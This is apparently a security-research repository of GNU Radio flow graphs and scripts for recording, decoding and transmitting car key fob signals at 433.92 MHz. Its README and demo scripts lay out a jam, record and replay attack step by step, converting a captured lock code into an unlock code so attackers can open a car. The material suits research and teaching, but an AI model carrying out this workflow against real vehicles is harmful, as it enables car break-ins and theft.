├── README.md ├── RemoteKeylessEntrySystem.pdf ├── demoJammingAttack ├── recordLock1.sh ├── recordLock2.sh ├── sendLock1.sh └── sendUnlock2.sh ├── diagrams ├── am.py ├── fm.py └── pm.py ├── grc ├── carkey-demod.grc ├── carkey-mod.grc ├── carkey-record-while-jamming.grc ├── carkey-record.grc ├── carkey-replay.grc ├── demod.py ├── mod.py ├── record.py ├── record_jamming.py └── replay.py └── tools ├── decode.sh ├── encode.sh ├── jamming.py └── scripts ├── bits2pdu.rb ├── build_packet.py ├── clockrec.py ├── lock2unlock.py ├── manchester-decode.rb ├── manchester-encode.py ├── sample.py └── verify.py /README.md: -------------------------------------------------------------------------------- 1 | # Remote Keyless Entry Systems 2 | 3 | Collection of scripts and GnuRadio graphs for researching Remote Keyless Entry systems for automobiles. 4 | 5 | ## Contents 6 | 7 | #### tools/ 8 | 9 | tools/decode.sh 10 | Takes the output of the demod.grc graph (i.e. a bytestream consisting of zeroes and ones) and decodes it to the underlying packet. 11 | Does the following internally: 12 | - Clock recovery 13 | - Manchester decoding 14 | - PDU reassembling 15 | 16 | tools/encode.sh 17 | Takes a packet represented as hexadecimal and produces a bytestream that can be fed to mod.grc for sending. 18 | Does the following internally: 19 | - Manchester encoding 20 | - Packet assembly 21 | - "Sampling" at 2MHz 22 | 23 | tools/scripts: 24 | Various small scripts that are used by decode.sh and encode.sh. See the comments in each file for more information. 25 | 26 | #### grc/ 27 | 28 | GNURadio flow graphs. 29 | 30 | #### diagrams/ 31 | 32 | Jupyter scripts that were used to generate the modulation images for the slides. 33 | 34 | #### demoJammingAttack/ 35 | 36 | The jamming attack presented in the last slides. 37 | 38 | 1. Start the jammer 39 | 2. ./recordLock1.sh 40 | owner send lock signal, car doesn't lock due to jammer 41 | 3. ./recordLock2.sh 42 | owner sends another lock signal, car still doesn't lock 43 | 4. ./sendLock1.sh 44 | stops the jammer, send first signal 45 | car is now locked, owner walks away 46 | 5. ./sendUnlock2.sh 47 | converts second signal to unlock signal 48 | car is unlocked by attackers 49 | -------------------------------------------------------------------------------- /RemoteKeylessEntrySystem.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/RKE/eaa4cfb08f5c5b98db464af3c455ce9845784078/RemoteKeylessEntrySystem.pdf -------------------------------------------------------------------------------- /demoJammingAttack/recordLock1.sh: -------------------------------------------------------------------------------- 1 | ..grc/record_jamming.py --outfile lock1.record 2 | ..grc/demod.py --infile lock1.record --outfile lock1.bytes 3 | ../tools/decode.sh lock1.bytes 4 | -------------------------------------------------------------------------------- /demoJammingAttack/recordLock2.sh: -------------------------------------------------------------------------------- 1 | ..grc/record_jamming.py --outfile lock2.record 2 | ..grc/demod.py --infile lock2.record --outfile lock2.bytes 3 | ../tools/decode2unlock.sh lock2.bytes 4 | -------------------------------------------------------------------------------- /demoJammingAttack/sendLock1.sh: -------------------------------------------------------------------------------- 1 | for pid in $(pgrep python2); do 2 | if ps $pid | grep -q jamming.py; then 3 | echo "Stopping jammer (pid = $pid)" 4 | kill -s 2 $pid 5 | fi 6 | done 7 | 8 | ../grc/mod.py --infile lock1.bytes 9 | -------------------------------------------------------------------------------- /demoJammingAttack/sendUnlock2.sh: -------------------------------------------------------------------------------- 1 | ../tools/decode.sh lock2.bytes | ../tools/scripts/lock2unlock.py | ../tools/encode.sh unlock.bytes 2 | ../grc/mod.py --infile unlock.bytes 3 | 4 | -------------------------------------------------------------------------------- /diagrams/am.py: -------------------------------------------------------------------------------- 1 | # Use with Jupyter 2 | 3 | import numpy as np 4 | import matplotlib.pyplot as plt 5 | 6 | ax = plt.subplot(111) 7 | 8 | t = np.arange(0.0, 30.0, 0.01) 9 | zeroes = [0] * 500 10 | ones = [1] * 500 11 | f = np.array((ones + zeroes) * 3) 12 | s = np.cos(2*np.pi*t) * f 13 | line, = plt.plot(t, s, lw=2) 14 | 15 | plt.xlim(0, 30) 16 | plt.ylim(-1.5,1.5) 17 | plt.show() 18 | -------------------------------------------------------------------------------- /diagrams/fm.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import matplotlib.pyplot as plt 3 | 4 | ax = plt.subplot(111) 5 | 6 | t = np.arange(0.0, 30.0, 0.01) 7 | zeroes = [3] * 500 8 | ones = [1] * 500 9 | f = np.array((ones + zeroes) * 3) 10 | s = np.cos(f*np.pi*t) 11 | line, = plt.plot(t, s, lw=2) 12 | 13 | plt.xlim(0, 30) 14 | plt.ylim(-1.5,1.5) 15 | plt.show() 16 | -------------------------------------------------------------------------------- /diagrams/pm.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import matplotlib.pyplot as plt 3 | 4 | ax = plt.subplot(111) 5 | 6 | t = np.arange(0.0, 30.0, 0.01) 7 | zeroes = [-1] * 500 8 | ones = [1] * 500 9 | f = np.array((ones + zeroes) * 3) 10 | s = f * np.cos(0.5*np.pi*t) 11 | line, = plt.plot(t, s, lw=2) 12 | 13 | plt.xlim(0, 30) 14 | plt.ylim(-1.5,1.5) 15 | plt.show() 16 | -------------------------------------------------------------------------------- /grc/carkey-demod.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sun Nov 20 23:34:23 2016 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 14 | 15 | 16 | category 17 | [GRC Hier Blocks] 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | no_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | demod 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | run 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 78 | 79 | 80 | title 81 | 82 | 83 | 84 | 85 | variable 86 | 87 | comment 88 | 89 | 90 | 91 | _enabled 92 | True 93 | 94 | 95 | _coordinate 96 | (224, 140) 97 | 98 | 99 | _rotation 100 | 0 101 | 102 | 103 | id 104 | key_freq 105 | 106 | 107 | value 108 | 433.92e6 109 | 110 | 111 | 112 | variable 113 | 114 | comment 115 | 116 | 117 | 118 | _enabled 119 | True 120 | 121 | 122 | _coordinate 123 | (352, 140) 124 | 125 | 126 | _rotation 127 | 0 128 | 129 | 130 | id 131 | offset 132 | 133 | 134 | value 135 | 220e3 136 | 137 | 138 | 139 | variable 140 | 141 | comment 142 | 143 | 144 | 145 | _enabled 146 | True 147 | 148 | 149 | _coordinate 150 | (104, 140) 151 | 152 | 153 | _rotation 154 | 0 155 | 156 | 157 | id 158 | samp_rate 159 | 160 | 161 | value 162 | 2e6 163 | 164 | 165 | 166 | band_pass_filter 167 | 168 | beta 169 | 6.76 170 | 171 | 172 | alias 173 | 174 | 175 | 176 | comment 177 | 178 | 179 | 180 | affinity 181 | 182 | 183 | 184 | decim 185 | 1 186 | 187 | 188 | _enabled 189 | True 190 | 191 | 192 | type 193 | fir_filter_ccf 194 | 195 | 196 | _coordinate 197 | (456, 380) 198 | 199 | 200 | _rotation 201 | 0 202 | 203 | 204 | gain 205 | 100 206 | 207 | 208 | high_cutoff_freq 209 | 270e3 210 | 211 | 212 | id 213 | band_pass_filter_0 214 | 215 | 216 | interp 217 | 1 218 | 219 | 220 | low_cutoff_freq 221 | 220e3 222 | 223 | 224 | maxoutbuf 225 | 0 226 | 227 | 228 | minoutbuf 229 | 0 230 | 231 | 232 | samp_rate 233 | samp_rate 234 | 235 | 236 | width 237 | 50e3 238 | 239 | 240 | win 241 | firdes.WIN_HAMMING 242 | 243 | 244 | 245 | blocks_add_const_vxx 246 | 247 | alias 248 | 249 | 250 | 251 | comment 252 | 253 | 254 | 255 | const 256 | -0.5 257 | 258 | 259 | affinity 260 | 261 | 262 | 263 | _enabled 264 | 1 265 | 266 | 267 | _coordinate 268 | (896, 448) 269 | 270 | 271 | _rotation 272 | 0 273 | 274 | 275 | id 276 | blocks_add_const_vxx_1 277 | 278 | 279 | type 280 | float 281 | 282 | 283 | maxoutbuf 284 | 0 285 | 286 | 287 | minoutbuf 288 | 0 289 | 290 | 291 | vlen 292 | 1 293 | 294 | 295 | 296 | blocks_complex_to_mag 297 | 298 | alias 299 | 300 | 301 | 302 | comment 303 | 304 | 305 | 306 | affinity 307 | 308 | 309 | 310 | _enabled 311 | 1 312 | 313 | 314 | _coordinate 315 | (696, 456) 316 | 317 | 318 | _rotation 319 | 0 320 | 321 | 322 | id 323 | blocks_complex_to_mag_0 324 | 325 | 326 | maxoutbuf 327 | 0 328 | 329 | 330 | minoutbuf 331 | 0 332 | 333 | 334 | vlen 335 | 1 336 | 337 | 338 | 339 | blocks_file_sink 340 | 341 | append 342 | False 343 | 344 | 345 | alias 346 | 347 | 348 | 349 | comment 350 | 351 | 352 | 353 | affinity 354 | 355 | 356 | 357 | _enabled 358 | 1 359 | 360 | 361 | file 362 | outfile 363 | 364 | 365 | _coordinate 366 | (864, 260) 367 | 368 | 369 | _rotation 370 | 0 371 | 372 | 373 | id 374 | blocks_file_sink_0 375 | 376 | 377 | type 378 | byte 379 | 380 | 381 | unbuffered 382 | False 383 | 384 | 385 | vlen 386 | 1 387 | 388 | 389 | 390 | blocks_file_source 391 | 392 | alias 393 | 394 | 395 | 396 | comment 397 | 398 | 399 | 400 | affinity 401 | 402 | 403 | 404 | _enabled 405 | 1 406 | 407 | 408 | file 409 | infile 410 | 411 | 412 | _coordinate 413 | (48, 436) 414 | 415 | 416 | _rotation 417 | 0 418 | 419 | 420 | id 421 | blocks_file_source_0_0 422 | 423 | 424 | maxoutbuf 425 | 0 426 | 427 | 428 | minoutbuf 429 | 0 430 | 431 | 432 | type 433 | complex 434 | 435 | 436 | repeat 437 | False 438 | 439 | 440 | vlen 441 | 1 442 | 443 | 444 | 445 | blocks_multiply_const_vxx 446 | 447 | alias 448 | 449 | 450 | 451 | comment 452 | 453 | 454 | 455 | const 456 | 10000 457 | 458 | 459 | affinity 460 | 461 | 462 | 463 | _enabled 464 | True 465 | 466 | 467 | _coordinate 468 | (1128, 552) 469 | 470 | 471 | _rotation 472 | 90 473 | 474 | 475 | id 476 | blocks_multiply_const_vxx_0 477 | 478 | 479 | type 480 | float 481 | 482 | 483 | maxoutbuf 484 | 0 485 | 486 | 487 | minoutbuf 488 | 0 489 | 490 | 491 | vlen 492 | 1 493 | 494 | 495 | 496 | blocks_throttle 497 | 498 | alias 499 | 500 | 501 | 502 | comment 503 | 504 | 505 | 506 | affinity 507 | 508 | 509 | 510 | _enabled 511 | 1 512 | 513 | 514 | _coordinate 515 | (264, 448) 516 | 517 | 518 | _rotation 519 | 0 520 | 521 | 522 | id 523 | blocks_throttle_0 524 | 525 | 526 | ignoretag 527 | True 528 | 529 | 530 | maxoutbuf 531 | 0 532 | 533 | 534 | minoutbuf 535 | 0 536 | 537 | 538 | samples_per_second 539 | samp_rate 540 | 541 | 542 | type 543 | complex 544 | 545 | 546 | vlen 547 | 1 548 | 549 | 550 | 551 | digital_binary_slicer_fb 552 | 553 | alias 554 | 555 | 556 | 557 | comment 558 | 559 | 560 | 561 | affinity 562 | 563 | 564 | 565 | _enabled 566 | 1 567 | 568 | 569 | _coordinate 570 | (912, 368) 571 | 572 | 573 | _rotation 574 | 180 575 | 576 | 577 | id 578 | digital_binary_slicer_fb_0 579 | 580 | 581 | maxoutbuf 582 | 0 583 | 584 | 585 | minoutbuf 586 | 0 587 | 588 | 589 | 590 | parameter 591 | 592 | alias 593 | 594 | 595 | 596 | comment 597 | 598 | 599 | 600 | _enabled 601 | 1 602 | 603 | 604 | _coordinate 605 | (48, 348) 606 | 607 | 608 | _rotation 609 | 0 610 | 611 | 612 | id 613 | infile 614 | 615 | 616 | label 617 | 618 | 619 | 620 | short_id 621 | 622 | 623 | 624 | type 625 | string 626 | 627 | 628 | value 629 | "" 630 | 631 | 632 | 633 | parameter 634 | 635 | alias 636 | 637 | 638 | 639 | comment 640 | 641 | 642 | 643 | _enabled 644 | 1 645 | 646 | 647 | _coordinate 648 | (1064, 204) 649 | 650 | 651 | _rotation 652 | 0 653 | 654 | 655 | id 656 | outfile 657 | 658 | 659 | label 660 | 661 | 662 | 663 | short_id 664 | 665 | 666 | 667 | type 668 | string 669 | 670 | 671 | value 672 | "" 673 | 674 | 675 | 676 | band_pass_filter_0 677 | blocks_complex_to_mag_0 678 | 0 679 | 0 680 | 681 | 682 | blocks_add_const_vxx_1 683 | blocks_multiply_const_vxx_0 684 | 0 685 | 0 686 | 687 | 688 | blocks_complex_to_mag_0 689 | blocks_add_const_vxx_1 690 | 0 691 | 0 692 | 693 | 694 | blocks_file_source_0_0 695 | blocks_throttle_0 696 | 0 697 | 0 698 | 699 | 700 | blocks_multiply_const_vxx_0 701 | digital_binary_slicer_fb_0 702 | 0 703 | 0 704 | 705 | 706 | blocks_throttle_0 707 | band_pass_filter_0 708 | 0 709 | 0 710 | 711 | 712 | digital_binary_slicer_fb_0 713 | blocks_file_sink_0 714 | 0 715 | 0 716 | 717 | 718 | -------------------------------------------------------------------------------- /grc/carkey-mod.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sat Dec 3 15:41:04 2016 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 14 | 15 | 16 | category 17 | [GRC Hier Blocks] 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | wx_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | mod 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | prompt 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 78 | 79 | 80 | title 81 | 82 | 83 | 84 | 85 | variable 86 | 87 | comment 88 | 89 | 90 | 91 | _enabled 92 | True 93 | 94 | 95 | _coordinate 96 | (712, 36) 97 | 98 | 99 | _rotation 100 | 0 101 | 102 | 103 | id 104 | key_freq 105 | 106 | 107 | value 108 | 433.92e6 109 | 110 | 111 | 112 | variable 113 | 114 | comment 115 | 116 | 117 | 118 | _enabled 119 | True 120 | 121 | 122 | _coordinate 123 | (880, 44) 124 | 125 | 126 | _rotation 127 | 0 128 | 129 | 130 | id 131 | offset 132 | 133 | 134 | value 135 | 220e3 136 | 137 | 138 | 139 | variable 140 | 141 | comment 142 | 143 | 144 | 145 | _enabled 146 | True 147 | 148 | 149 | _coordinate 150 | (552, 28) 151 | 152 | 153 | _rotation 154 | 0 155 | 156 | 157 | id 158 | samp_rate 159 | 160 | 161 | value 162 | 2e6 163 | 164 | 165 | 166 | analog_sig_source_x 167 | 168 | amp 169 | 1 170 | 171 | 172 | alias 173 | 174 | 175 | 176 | comment 177 | 178 | 179 | 180 | affinity 181 | 182 | 183 | 184 | _enabled 185 | True 186 | 187 | 188 | freq 189 | key_freq 190 | 191 | 192 | _coordinate 193 | (72, 352) 194 | 195 | 196 | _rotation 197 | 0 198 | 199 | 200 | id 201 | analog_sig_source_x_0 202 | 203 | 204 | maxoutbuf 205 | 0 206 | 207 | 208 | minoutbuf 209 | 0 210 | 211 | 212 | offset 213 | 0 214 | 215 | 216 | type 217 | float 218 | 219 | 220 | samp_rate 221 | samp_rate 222 | 223 | 224 | waveform 225 | analog.GR_COS_WAVE 226 | 227 | 228 | 229 | blocks_file_source 230 | 231 | alias 232 | 233 | 234 | 235 | comment 236 | 237 | 238 | 239 | affinity 240 | 241 | 242 | 243 | _enabled 244 | 1 245 | 246 | 247 | file 248 | infile 249 | 250 | 251 | _coordinate 252 | (344, 260) 253 | 254 | 255 | _rotation 256 | 0 257 | 258 | 259 | id 260 | blocks_file_source_0 261 | 262 | 263 | maxoutbuf 264 | 0 265 | 266 | 267 | minoutbuf 268 | 0 269 | 270 | 271 | type 272 | byte 273 | 274 | 275 | repeat 276 | False 277 | 278 | 279 | vlen 280 | 1 281 | 282 | 283 | 284 | blocks_float_to_complex 285 | 286 | alias 287 | 288 | 289 | 290 | comment 291 | 292 | 293 | 294 | affinity 295 | 296 | 297 | 298 | _enabled 299 | True 300 | 301 | 302 | _coordinate 303 | (520, 668) 304 | 305 | 306 | _rotation 307 | 0 308 | 309 | 310 | id 311 | blocks_float_to_complex_0 312 | 313 | 314 | maxoutbuf 315 | 0 316 | 317 | 318 | minoutbuf 319 | 0 320 | 321 | 322 | vlen 323 | 1 324 | 325 | 326 | 327 | blocks_multiply_xx 328 | 329 | alias 330 | 331 | 332 | 333 | comment 334 | 335 | 336 | 337 | affinity 338 | 339 | 340 | 341 | _enabled 342 | True 343 | 344 | 345 | _coordinate 346 | (372, 464) 347 | 348 | 349 | _rotation 350 | 270 351 | 352 | 353 | id 354 | blocks_multiply_xx_0 355 | 356 | 357 | type 358 | float 359 | 360 | 361 | maxoutbuf 362 | 0 363 | 364 | 365 | minoutbuf 366 | 0 367 | 368 | 369 | num_inputs 370 | 2 371 | 372 | 373 | vlen 374 | 1 375 | 376 | 377 | 378 | blocks_uchar_to_float 379 | 380 | alias 381 | 382 | 383 | 384 | comment 385 | 386 | 387 | 388 | affinity 389 | 390 | 391 | 392 | _enabled 393 | True 394 | 395 | 396 | _coordinate 397 | (536, 280) 398 | 399 | 400 | _rotation 401 | 0 402 | 403 | 404 | id 405 | blocks_uchar_to_float_0 406 | 407 | 408 | maxoutbuf 409 | 0 410 | 411 | 412 | minoutbuf 413 | 0 414 | 415 | 416 | 417 | parameter 418 | 419 | alias 420 | 421 | 422 | 423 | comment 424 | 425 | 426 | 427 | _enabled 428 | 1 429 | 430 | 431 | _coordinate 432 | (344, 172) 433 | 434 | 435 | _rotation 436 | 0 437 | 438 | 439 | id 440 | infile 441 | 442 | 443 | label 444 | 445 | 446 | 447 | short_id 448 | 449 | 450 | 451 | type 452 | string 453 | 454 | 455 | value 456 | "" 457 | 458 | 459 | 460 | osmosdr_sink 461 | 462 | alias 463 | 464 | 465 | 466 | ant0 467 | 468 | 469 | 470 | bb_gain0 471 | 20 472 | 473 | 474 | bw0 475 | 0 476 | 477 | 478 | corr0 479 | 0 480 | 481 | 482 | freq0 483 | key_freq - offset 484 | 485 | 486 | if_gain0 487 | 47 488 | 489 | 490 | gain0 491 | 15 492 | 493 | 494 | ant1 495 | 496 | 497 | 498 | bb_gain1 499 | 20 500 | 501 | 502 | bw1 503 | 0 504 | 505 | 506 | corr1 507 | 0 508 | 509 | 510 | freq1 511 | 100e6 512 | 513 | 514 | if_gain1 515 | 20 516 | 517 | 518 | gain1 519 | 10 520 | 521 | 522 | ant2 523 | 524 | 525 | 526 | bb_gain2 527 | 20 528 | 529 | 530 | bw2 531 | 0 532 | 533 | 534 | corr2 535 | 0 536 | 537 | 538 | freq2 539 | 100e6 540 | 541 | 542 | if_gain2 543 | 20 544 | 545 | 546 | gain2 547 | 10 548 | 549 | 550 | ant3 551 | 552 | 553 | 554 | bb_gain3 555 | 20 556 | 557 | 558 | bw3 559 | 0 560 | 561 | 562 | corr3 563 | 0 564 | 565 | 566 | freq3 567 | 100e6 568 | 569 | 570 | if_gain3 571 | 20 572 | 573 | 574 | gain3 575 | 10 576 | 577 | 578 | ant4 579 | 580 | 581 | 582 | bb_gain4 583 | 20 584 | 585 | 586 | bw4 587 | 0 588 | 589 | 590 | corr4 591 | 0 592 | 593 | 594 | freq4 595 | 100e6 596 | 597 | 598 | if_gain4 599 | 20 600 | 601 | 602 | gain4 603 | 10 604 | 605 | 606 | comment 607 | 608 | 609 | 610 | affinity 611 | 612 | 613 | 614 | args 615 | 616 | 617 | 618 | _enabled 619 | 1 620 | 621 | 622 | _coordinate 623 | (928, 208) 624 | 625 | 626 | _rotation 627 | 0 628 | 629 | 630 | id 631 | osmosdr_sink_0 632 | 633 | 634 | type 635 | fc32 636 | 637 | 638 | nchan 639 | 1 640 | 641 | 642 | sample_rate 643 | samp_rate 644 | 645 | 646 | 647 | wxgui_scopesink2 648 | 649 | ac_couple 650 | False 651 | 652 | 653 | alias 654 | 655 | 656 | 657 | comment 658 | 659 | 660 | 661 | affinity 662 | 663 | 664 | 665 | _enabled 666 | True 667 | 668 | 669 | _coordinate 670 | (920, 640) 671 | 672 | 673 | _rotation 674 | 0 675 | 676 | 677 | grid_pos 678 | 679 | 680 | 681 | id 682 | wxgui_scopesink2_0_0 683 | 684 | 685 | notebook 686 | 687 | 688 | 689 | num_inputs 690 | 1 691 | 692 | 693 | samp_rate 694 | samp_rate 695 | 696 | 697 | t_scale 698 | 0 699 | 700 | 701 | title 702 | Scope Plot 703 | 704 | 705 | trig_mode 706 | wxgui.TRIG_MODE_AUTO 707 | 708 | 709 | type 710 | complex 711 | 712 | 713 | v_offset 714 | 0 715 | 716 | 717 | v_scale 718 | 0 719 | 720 | 721 | win_size 722 | 723 | 724 | 725 | xy_mode 726 | False 727 | 728 | 729 | y_axis_label 730 | Counts 731 | 732 | 733 | 734 | analog_sig_source_x_0 735 | blocks_multiply_xx_0 736 | 0 737 | 1 738 | 739 | 740 | blocks_file_source_0 741 | blocks_uchar_to_float_0 742 | 0 743 | 0 744 | 745 | 746 | blocks_float_to_complex_0 747 | osmosdr_sink_0 748 | 0 749 | 0 750 | 751 | 752 | blocks_float_to_complex_0 753 | wxgui_scopesink2_0_0 754 | 0 755 | 0 756 | 757 | 758 | blocks_multiply_xx_0 759 | blocks_float_to_complex_0 760 | 0 761 | 0 762 | 763 | 764 | blocks_uchar_to_float_0 765 | blocks_multiply_xx_0 766 | 0 767 | 0 768 | 769 | 770 | -------------------------------------------------------------------------------- /grc/carkey-record-while-jamming.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sat Nov 5 11:15:45 2016 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 14 | 15 | 16 | category 17 | [GRC Hier Blocks] 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | wx_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | record_jamming 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | prompt 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 78 | 79 | 80 | title 81 | 82 | 83 | 84 | 85 | variable_slider 86 | 87 | comment 88 | 89 | 90 | 91 | converver 92 | float_converter 93 | 94 | 95 | value 96 | key_freq 97 | 98 | 99 | _enabled 100 | True 101 | 102 | 103 | _coordinate 104 | (360, 72) 105 | 106 | 107 | _rotation 108 | 0 109 | 110 | 111 | grid_pos 112 | 113 | 114 | 115 | id 116 | freq 117 | 118 | 119 | label 120 | 121 | 122 | 123 | max 124 | key_freq + 10e6 125 | 126 | 127 | min 128 | key_freq - 10e6 129 | 130 | 131 | notebook 132 | 133 | 134 | 135 | num_steps 136 | 1000 137 | 138 | 139 | style 140 | wx.SL_HORIZONTAL 141 | 142 | 143 | 144 | variable 145 | 146 | comment 147 | 148 | 149 | 150 | _enabled 151 | True 152 | 153 | 154 | _coordinate 155 | (176, 124) 156 | 157 | 158 | _rotation 159 | 0 160 | 161 | 162 | id 163 | key_freq 164 | 165 | 166 | value 167 | 433.92e6 168 | 169 | 170 | 171 | variable 172 | 173 | comment 174 | 175 | 176 | 177 | _enabled 178 | True 179 | 180 | 181 | _coordinate 182 | (568, 124) 183 | 184 | 185 | _rotation 186 | 0 187 | 188 | 189 | id 190 | offset 191 | 192 | 193 | value 194 | 220e3 195 | 196 | 197 | 198 | variable 199 | 200 | comment 201 | 202 | 203 | 204 | _enabled 205 | True 206 | 207 | 208 | _coordinate 209 | (8, 160) 210 | 211 | 212 | _rotation 213 | 0 214 | 215 | 216 | id 217 | samp_rate 218 | 219 | 220 | value 221 | 2e6 222 | 223 | 224 | 225 | blocks_file_sink 226 | 227 | append 228 | False 229 | 230 | 231 | alias 232 | 233 | 234 | 235 | comment 236 | 237 | 238 | 239 | affinity 240 | 241 | 242 | 243 | _enabled 244 | 1 245 | 246 | 247 | file 248 | outfile 249 | 250 | 251 | _coordinate 252 | (832, 868) 253 | 254 | 255 | _rotation 256 | 0 257 | 258 | 259 | id 260 | blocks_file_sink_0 261 | 262 | 263 | type 264 | complex 265 | 266 | 267 | unbuffered 268 | False 269 | 270 | 271 | vlen 272 | 1 273 | 274 | 275 | 276 | dc_blocker_xx 277 | 278 | alias 279 | 280 | 281 | 282 | comment 283 | 284 | 285 | 286 | affinity 287 | 288 | 289 | 290 | _enabled 291 | True 292 | 293 | 294 | _coordinate 295 | (344, 388) 296 | 297 | 298 | _rotation 299 | 0 300 | 301 | 302 | id 303 | dc_blocker_xx_0 304 | 305 | 306 | length 307 | 1024 308 | 309 | 310 | long_form 311 | True 312 | 313 | 314 | maxoutbuf 315 | 0 316 | 317 | 318 | minoutbuf 319 | 0 320 | 321 | 322 | type 323 | cc 324 | 325 | 326 | 327 | high_pass_filter 328 | 329 | beta 330 | 6.76 331 | 332 | 333 | alias 334 | 335 | 336 | 337 | comment 338 | 339 | 340 | 341 | affinity 342 | 343 | 344 | 345 | cutoff_freq 346 | 220e3 347 | 348 | 349 | decim 350 | 1 351 | 352 | 353 | _enabled 354 | True 355 | 356 | 357 | type 358 | fir_filter_ccf 359 | 360 | 361 | _coordinate 362 | (560, 340) 363 | 364 | 365 | _rotation 366 | 0 367 | 368 | 369 | gain 370 | 1 371 | 372 | 373 | id 374 | high_pass_filter_0 375 | 376 | 377 | interp 378 | 1 379 | 380 | 381 | maxoutbuf 382 | 0 383 | 384 | 385 | minoutbuf 386 | 0 387 | 388 | 389 | samp_rate 390 | samp_rate 391 | 392 | 393 | width 394 | 5e3 395 | 396 | 397 | win 398 | firdes.WIN_HANN 399 | 400 | 401 | 402 | osmosdr_source 403 | 404 | alias 405 | 406 | 407 | 408 | ant0 409 | 410 | 411 | 412 | bb_gain0 413 | 20 414 | 415 | 416 | bw0 417 | 0 418 | 419 | 420 | dc_offset_mode0 421 | 2 422 | 423 | 424 | corr0 425 | 0 426 | 427 | 428 | freq0 429 | freq - offset 430 | 431 | 432 | gain_mode0 433 | False 434 | 435 | 436 | if_gain0 437 | 17 438 | 439 | 440 | iq_balance_mode0 441 | 0 442 | 443 | 444 | gain0 445 | 0 446 | 447 | 448 | ant1 449 | 450 | 451 | 452 | bb_gain1 453 | 20 454 | 455 | 456 | bw1 457 | 0 458 | 459 | 460 | dc_offset_mode1 461 | 0 462 | 463 | 464 | corr1 465 | 0 466 | 467 | 468 | freq1 469 | 100e6 470 | 471 | 472 | gain_mode1 473 | False 474 | 475 | 476 | if_gain1 477 | 20 478 | 479 | 480 | iq_balance_mode1 481 | 0 482 | 483 | 484 | gain1 485 | 10 486 | 487 | 488 | ant2 489 | 490 | 491 | 492 | bb_gain2 493 | 20 494 | 495 | 496 | bw2 497 | 0 498 | 499 | 500 | dc_offset_mode2 501 | 0 502 | 503 | 504 | corr2 505 | 0 506 | 507 | 508 | freq2 509 | 100e6 510 | 511 | 512 | gain_mode2 513 | False 514 | 515 | 516 | if_gain2 517 | 20 518 | 519 | 520 | iq_balance_mode2 521 | 0 522 | 523 | 524 | gain2 525 | 10 526 | 527 | 528 | ant3 529 | 530 | 531 | 532 | bb_gain3 533 | 20 534 | 535 | 536 | bw3 537 | 0 538 | 539 | 540 | dc_offset_mode3 541 | 0 542 | 543 | 544 | corr3 545 | 0 546 | 547 | 548 | freq3 549 | 100e6 550 | 551 | 552 | gain_mode3 553 | False 554 | 555 | 556 | if_gain3 557 | 20 558 | 559 | 560 | iq_balance_mode3 561 | 0 562 | 563 | 564 | gain3 565 | 10 566 | 567 | 568 | ant4 569 | 570 | 571 | 572 | bb_gain4 573 | 20 574 | 575 | 576 | bw4 577 | 0 578 | 579 | 580 | dc_offset_mode4 581 | 0 582 | 583 | 584 | corr4 585 | 0 586 | 587 | 588 | freq4 589 | 100e6 590 | 591 | 592 | gain_mode4 593 | False 594 | 595 | 596 | if_gain4 597 | 20 598 | 599 | 600 | iq_balance_mode4 601 | 0 602 | 603 | 604 | gain4 605 | 10 606 | 607 | 608 | comment 609 | 610 | 611 | 612 | affinity 613 | 614 | 615 | 616 | args 617 | 618 | 619 | 620 | _enabled 621 | True 622 | 623 | 624 | _coordinate 625 | (16, 324) 626 | 627 | 628 | _rotation 629 | 0 630 | 631 | 632 | id 633 | osmosdr_source_0 634 | 635 | 636 | maxoutbuf 637 | 0 638 | 639 | 640 | minoutbuf 641 | 0 642 | 643 | 644 | nchan 645 | 1 646 | 647 | 648 | type 649 | fc32 650 | 651 | 652 | sample_rate 653 | samp_rate 654 | 655 | 656 | 657 | parameter 658 | 659 | alias 660 | 661 | 662 | 663 | comment 664 | 665 | 666 | 667 | _enabled 668 | 1 669 | 670 | 671 | _coordinate 672 | (1056, 868) 673 | 674 | 675 | _rotation 676 | 0 677 | 678 | 679 | id 680 | outfile 681 | 682 | 683 | label 684 | 685 | 686 | 687 | short_id 688 | 689 | 690 | 691 | type 692 | string 693 | 